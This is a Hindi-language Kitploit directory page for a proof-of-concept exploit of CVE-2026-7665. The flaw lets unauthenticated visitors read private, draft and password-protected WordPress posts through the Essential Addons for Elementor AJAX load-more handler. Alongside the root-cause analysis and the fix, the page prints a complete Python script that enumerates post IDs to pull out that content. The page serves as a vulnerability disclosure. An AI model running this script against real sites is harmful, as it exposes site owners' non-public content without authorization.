Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2026-7665 — CVE-2026-7665 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Essential Addons for Elementor में एक अनप्रमाणित सूचना प्रकटीकरण है, जो WordPress के निजी, ड्राफ्ट और पासवर्ड-संरक्षित पोस्ट निकालने की अनुमति देता है। | Kitploit
उपकरण/GitHubGitHub/anirudhmakkar/cve-2026-7665
भेद्यता विश्लेषणशोषणजानकारी एकत्र करनावेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubanirudhmakkar/cve-2026-7665

cve-2026-7665

CVE-2026-7665 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Essential Addons for Elementor में एक अनप्रमाणित सूचना प्रकटीकरण है, जो WordPress के निजी, ड्राफ्ट और पासवर्ड-संरक्षित पोस्ट निकालने की अनुमति देता है।

रिपॉजिटरी देखें
143 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-7665 — Essential Addons for Elementor में बिना प्रमाणीकरण के सूचना प्रकटीकरण

फ़ील्डविवरण
CVE आईडीCVE-2026-7665
गंभीरतामध्यम
CVSS स्कोर5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
प्रभावित प्लगइनEssential Addons for Elementor
प्रभावित संस्करण≤ 6.6.4
सक्रिय इंस्टॉल1,000,000+
CVE आवंटनकर्ताWordfence (CNA)
खुलासाजून 2026
शोधकर्ताAnirudh Makkar

सारांश

Essential Addons for Elementor में ajax_load_more AJAX हैंडलर पोस्ट सामग्री लौटाने से पहले पोस्ट दृश्यता लागू नहीं करता था। इससे बिना प्रमाणीकरण वाले हमलावर एक विशेष रूप से निर्मित wp-admin/admin-ajax.php अनुरोध भेजकर निजी, पासवर्ड-सुरक्षित और ड्राफ्ट WordPress पोस्ट पढ़ सकते थे — न तो प्रमाणीकरण और न ही nonce आवश्यक था।


भेद्यता विवरण

मूल कारण

प्लगइन wp_ajax_nopriv_eael_post_grid_load_more एक्शन हुक पर एक हैंडलर पंजीकृत करता है, जिससे यह बिना प्रमाणीकरण वाले आगंतुकों के लिए सुलभ हो जाता है। जब यह हैंडलर "load more" पेजिनेशन सुविधा के लिए पोस्ट लाने हेतु WP_Query निष्पादित करता है, तो यह current_user_can('read_post', $post_id) को कॉल नहीं करता और न ही अनुरोध करने वाले उपयोगकर्ता की क्षमताओं के विरुद्ध get_post_status() की जाँच करता है।

WordPress कोर AJAX हैंडलर में पोस्ट-स्तरीय प्राधिकरण लागू करने के लिए प्लगइन्स पर निर्भर करता है — यह स्वचालित रूप से ऐसा नहीं करता। इस जाँच की अनुपस्थिति का अर्थ है कि हैंडलर पोस्ट दृश्यता सेटिंग्स की परवाह किए बिना पूर्ण पोस्ट सामग्री लौटाता है।

प्रभावित कोड पथ

root@kitploit:~
wp-admin/admin-ajax.php
  → do_action('wp_ajax_nopriv_eael_post_grid_load_more')
    → Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
      → WP_Query([
            'post_status' => ['publish', 'private', 'draft'],  // all statuses returned
            ...
        ])
      → [returns full post content without authorization check]

प्रभाव

बिना प्रमाणीकरण वाला हमलावर निम्नलिखित पोस्ट सूचीबद्ध (enumerate) करके पढ़ सकता है:

  • निजी पोस्ट (केवल लॉग-इन उपयोगकर्ताओं के लिए अभिप्रेत)
  • पासवर्ड-सुरक्षित पोस्ट (पासवर्ड जाने बिना)
  • ड्राफ्ट पोस्ट (अप्रकाशित सामग्री)

इससे संवेदनशील व्यावसायिक सामग्री, जारी न की गई घोषणाएँ, WordPress पोस्ट के रूप में प्रकाशित आंतरिक दस्तावेज़, या WordPress संपादक के माध्यम से प्रबंधित कोई भी अन्य गैर-सार्वजनिक सामग्री उजागर हो सकती है।


प्रूफ ऑफ कॉन्सेप्ट (PoC)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4

Usage: python3 poc.py https://target.example.com [post_id]

Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""

import requests
import sys
import json

def check_target(base_url):
    """Verify the plugin is present."""
    resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
    return resp.status_code != 404

def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
    url = f"{base_url}/wp-admin/admin-ajax.php"
    data = {
        "action":    "eael_post_grid_load_more",
        "widget_id": widget_id,
        "page_id":   page_id,
        "post_id":   str(post_id),
        "page":      "2",
    }
    try:
        resp = requests.post(url, data=data, timeout=10)
        if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
            return resp.text
    except requests.RequestException:
        pass
    return None

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
        sys.exit(1)

    target   = sys.argv[1].rstrip("/")
    start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
    end_id   = int(sys.argv[3]) if len(sys.argv) > 3 else 50

    print(f"[*] Target: {target}")
    print(f"[*] Probing post IDs {start_id}–{end_id}")

    if not check_target(target):
        print("[!] Plugin not detected — target may be patched or not running EAEL")

    found = 0
    for pid in range(start_id, end_id + 1):
        result = fetch_private_post(target, pid)
        if result:
            found += 1
            print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
            print(result[:300])
            print("..." if len(result) > 300 else "")

    print(f"\n[*] Done. {found} post(s) with exposed content found.")

if __name__ == "__main__":
    main()

निवारण

Essential Addons for Elementor को संस्करण 6.6.5 या उसके बाद अपडेट करें।

फिक्स load-more हैंडलर के भीतर, क्वेरी परिणामों में किसी भी पोस्ट को शामिल करने से पहले एक current_user_can('read_post', $post_id) जाँच जोड़ता है।


संदर्भ

  • Wordfence एडवाइजरी
  • NVD — CVE-2026-7665
  • Essential Addons for Elementor चेंजलॉग

Anirudh Makkar द्वारा रिपोर्ट किया गया · LinkedIn

टूल डाउनलोड करें